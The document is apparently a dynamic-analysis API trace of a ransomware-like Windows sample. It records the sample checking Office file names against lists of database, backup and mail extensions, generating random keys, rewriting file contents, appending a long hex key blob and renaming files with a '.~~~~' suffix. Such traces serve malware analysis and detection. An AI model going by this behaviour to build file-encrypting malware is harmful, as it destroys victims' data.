	[0144.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0144.920] lstrlenW (lpString=".SQL") returned 4
	[0144.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0144.920] lstrlenW (lpString=".pst") returned 4
	[0144.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0144.920] lstrlenW (lpString=".dbv") returned 4
	[0144.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0144.920] lstrlenW (lpString=".SDF") returned 4
	[0144.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0144.920] lstrlenW (lpString=".dtxs") returned 5
	[0144.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0144.920] lstrlenW (lpString=".db3") returned 4
	[0144.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0144.920] lstrlenW (lpString=".OST") returned 4
	[0144.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0144.920] lstrlenW (lpString=".dbx") returned 4
	[0144.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0144.920] lstrlenW (lpString=".DB3") returned 4
	[0144.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0144.920] lstrlenW (lpString=".DAT") returned 4
	[0144.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0144.920] lstrlenW (lpString=".VHDX") returned 5
	[0144.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0144.920] lstrlenW (lpString=".ndf") returned 4
	[0144.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0144.920] lstrlenW (lpString=".DB") returned 3
	[0144.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0144.921] lstrlenW (lpString=".sql") returned 4
	[0144.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0144.921] lstrlenW (lpString=".MYD") returned 4
	[0144.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0144.921] lstrlenW (lpString=".DBT") returned 4
	[0144.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0144.921] lstrlenW (lpString=".ACCDB") returned 6
	[0144.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0144.921] lstrlenW (lpString=".fdb") returned 4
	[0144.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0144.921] lstrlenW (lpString=".bak") returned 4
	[0144.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0144.921] lstrlenW (lpString=".myd") returned 4
	[0144.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0144.921] lstrlenW (lpString=".DTXS") returned 5
	[0144.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0144.921] lstrlenW (lpString=".ckp") returned 4
	[0144.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0144.921] lstrlenW (lpString=".dbt") returned 4
	[0144.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0144.921] lstrlenW (lpString=".db") returned 3
	[0144.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".db") returned 0x0
	[0144.921] lstrlenW (lpString=".TXT") returned 4
	[0144.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0144.921] lstrlenW (lpString=".MDF") returned 4
	[0144.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0144.922] lstrlenW (lpString=".bdb") returned 4
	[0144.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0144.922] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0144.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.922] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0144.923] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.923] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0144.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0144.923] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26491348135) returned 1
	[0144.923] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbfc980b0, dwHighDateTime=0x1d60e1e)) 
	[0144.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0144.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0144.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0144.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fb00
	[0144.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fb00 | out: hHeap=0x300000) returned 1
	[0144.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0144.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37eb78
	[0144.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.924] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0144.924] GetLastError () returned 0x0
	[0144.925] GetLastError () returned 0x0
	[0144.925] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0144.925] GetLastError () returned 0x0
	[0144.925] GetLastError () returned 0x0
	[0144.925] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0144.927] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.927] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0144.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0144.927] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.927] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.927] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.927] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.928] CloseHandle (hObject=0x138) returned 1
	[0144.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aca58
	[0144.928] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk.~~~~")) returned 1
	[0144.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0144.931] GetLastError () returned 0x0
	[0144.931] RtlWakeConditionVariable () returned 0x0
	[0144.931] GetCurrentThreadId () returned 0x3a4
	[0144.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".scr") returned 0x0
	[0144.931] lstrlenW (lpString=".cmd") returned 4
	[0144.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".cmd") returned 0x0
	[0144.931] lstrlenW (lpString=".dll") returned 4
	[0144.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".dll") returned 0x0
	[0144.931] lstrlenW (lpString=".bat") returned 4
	[0144.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".bat") returned 0x0
	[0144.931] lstrlenW (lpString=".cpl") returned 4
	[0144.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".cpl") returned 0x0
	[0144.931] lstrlenW (lpString=".sys") returned 4
	[0144.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".sys") returned 0x0
	[0144.931] lstrlenW (lpString=".msc") returned 4
	[0144.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".msc") returned 0x0
	[0144.931] lstrlenW (lpString=".com") returned 4
	[0144.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".com") returned 0x0
	[0144.932] lstrlenW (lpString=".lnk") returned 4
	[0144.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".lnk") returned 0x0
	[0144.932] lstrlenW (lpString=".msp") returned 4
	[0144.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".msp") returned 0x0
	[0144.932] lstrlenW (lpString=".pif") returned 4
	[0144.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".pif") returned 0x0
	[0144.932] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0144.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.934] lstrlenW (lpString=".sqb") returned 4
	[0144.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".sqb") returned 0x0
	[0144.934] lstrlenW (lpString=".ost") returned 4
	[0144.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".ost") returned 0x0
	[0144.934] lstrlenW (lpString=".txt") returned 4
	[0144.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".txt") returned 0x0
	[0144.935] lstrlenW (lpString=".mdt") returned 4
	[0144.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".mdt") returned 0x0
	[0144.935] lstrlenW (lpString=".BDB") returned 4
	[0144.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".BDB") returned 0x0
	[0144.935] lstrlenW (lpString=".eql") returned 4
	[0144.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".eql") returned 0x0
	[0144.935] lstrlenW (lpString=".DBF") returned 4
	[0144.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".DBF") returned 0x0
	[0144.935] lstrlenW (lpString=".EQL") returned 4
	[0144.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".EQL") returned 0x0
	[0144.935] lstrlenW (lpString=".FDB") returned 4
	[0144.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".FDB") returned 0x0
	[0144.935] lstrlenW (lpString=".EDB") returned 4
	[0144.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".EDB") returned 0x0
	[0144.935] lstrlenW (lpString=".DACPAC") returned 7
	[0144.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".DACPAC") returned 0x0
	[0144.935] lstrlenW (lpString=".VHD") returned 4
	[0144.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".VHD") returned 0x0
	[0144.935] lstrlenW (lpString=".DBV") returned 4
	[0144.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".DBV") returned 0x0
	[0144.935] lstrlenW (lpString=".dacpac") returned 7
	[0144.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".dacpac") returned 0x0
	[0144.935] lstrlenW (lpString=".sdf") returned 4
	[0144.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".sdf") returned 0x0
	[0144.936] lstrlenW (lpString=".accdb") returned 6
	[0144.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".accdb") returned 0x0
	[0144.936] lstrlenW (lpString=".DBX") returned 4
	[0144.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".DBX") returned 0x0
	[0144.936] lstrlenW (lpString=".MDT") returned 4
	[0144.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".MDT") returned 0x0
	[0144.936] lstrlenW (lpString=".SQB") returned 4
	[0144.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".SQB") returned 0x0
	[0144.936] lstrlenW (lpString=".vhd") returned 4
	[0144.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".vhd") returned 0x0
	[0144.936] lstrlenW (lpString=".bac") returned 4
	[0144.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".bac") returned 0x0
	[0144.936] lstrlenW (lpString=".mdf") returned 4
	[0144.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".mdf") returned 0x0
	[0144.936] lstrlenW (lpString=".BAK") returned 4
	[0144.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".BAK") returned 0x0
	[0144.936] lstrlenW (lpString=".BAC") returned 4
	[0144.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".BAC") returned 0x0
	[0144.936] lstrlenW (lpString=".dbs") returned 4
	[0144.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".dbs") returned 0x0
	[0144.936] lstrlenW (lpString=".vhdx") returned 5
	[0144.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".vhdx") returned 0x0
	[0144.936] lstrlenW (lpString=".NDF") returned 4
	[0144.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".NDF") returned 0x0
	[0144.937] lstrlenW (lpString=".dat") returned 4
	[0144.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".dat") returned 0x0
	[0144.937] lstrlenW (lpString=".DBS") returned 4
	[0144.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".DBS") returned 0x0
	[0144.937] lstrlenW (lpString=".CKP") returned 4
	[0144.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".CKP") returned 0x0
	[0144.937] lstrlenW (lpString=".edb") returned 4
	[0144.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".edb") returned 0x0
	[0144.937] lstrlenW (lpString=".PST") returned 4
	[0144.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".PST") returned 0x0
	[0144.937] lstrlenW (lpString=".dbf") returned 4
	[0144.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".dbf") returned 0x0
	[0144.937] lstrlenW (lpString=".SQL") returned 4
	[0144.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".SQL") returned 0x0
	[0144.937] lstrlenW (lpString=".pst") returned 4
	[0144.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".pst") returned 0x0
	[0144.937] lstrlenW (lpString=".dbv") returned 4
	[0144.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".dbv") returned 0x0
	[0144.937] lstrlenW (lpString=".SDF") returned 4
	[0144.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".SDF") returned 0x0
	[0144.937] lstrlenW (lpString=".dtxs") returned 5
	[0144.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".dtxs") returned 0x0
	[0144.937] lstrlenW (lpString=".db3") returned 4
	[0144.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".db3") returned 0x0
	[0144.937] lstrlenW (lpString=".OST") returned 4
	[0144.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".OST") returned 0x0
	[0144.938] lstrlenW (lpString=".dbx") returned 4
	[0144.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".dbx") returned 0x0
	[0144.938] lstrlenW (lpString=".DB3") returned 4
	[0144.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".DB3") returned 0x0
	[0144.938] lstrlenW (lpString=".DAT") returned 4
	[0144.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".DAT") returned 0x0
	[0144.938] lstrlenW (lpString=".VHDX") returned 5
	[0144.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".VHDX") returned 0x0
	[0144.938] lstrlenW (lpString=".ndf") returned 4
	[0144.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".ndf") returned 0x0
	[0144.938] lstrlenW (lpString=".DB") returned 3
	[0144.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".DB") returned 0x0
	[0144.938] lstrlenW (lpString=".sql") returned 4
	[0144.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".sql") returned 0x0
	[0144.938] lstrlenW (lpString=".MYD") returned 4
	[0144.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".MYD") returned 0x0
	[0144.938] lstrlenW (lpString=".DBT") returned 4
	[0144.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".DBT") returned 0x0
	[0144.938] lstrlenW (lpString=".ACCDB") returned 6
	[0144.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".ACCDB") returned 0x0
	[0144.938] lstrlenW (lpString=".fdb") returned 4
	[0144.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".fdb") returned 0x0
	[0144.938] lstrlenW (lpString=".bak") returned 4
	[0144.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".bak") returned 0x0
	[0144.938] lstrlenW (lpString=".myd") returned 4
	[0144.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".myd") returned 0x0
	[0144.939] lstrlenW (lpString=".DTXS") returned 5
	[0144.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".DTXS") returned 0x0
	[0144.939] lstrlenW (lpString=".ckp") returned 4
	[0144.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".ckp") returned 0x0
	[0144.939] lstrlenW (lpString=".dbt") returned 4
	[0144.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".dbt") returned 0x0
	[0144.939] lstrlenW (lpString=".db") returned 3
	[0144.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".db") returned 0x0
	[0144.939] lstrlenW (lpString=".TXT") returned 4
	[0144.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".TXT") returned 0x0
	[0144.939] lstrlenW (lpString=".MDF") returned 4
	[0144.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".MDF") returned 0x0
	[0144.939] lstrlenW (lpString=".bdb") returned 4
	[0144.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS", lpSrch=".bdb") returned 0x0
	[0144.939] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
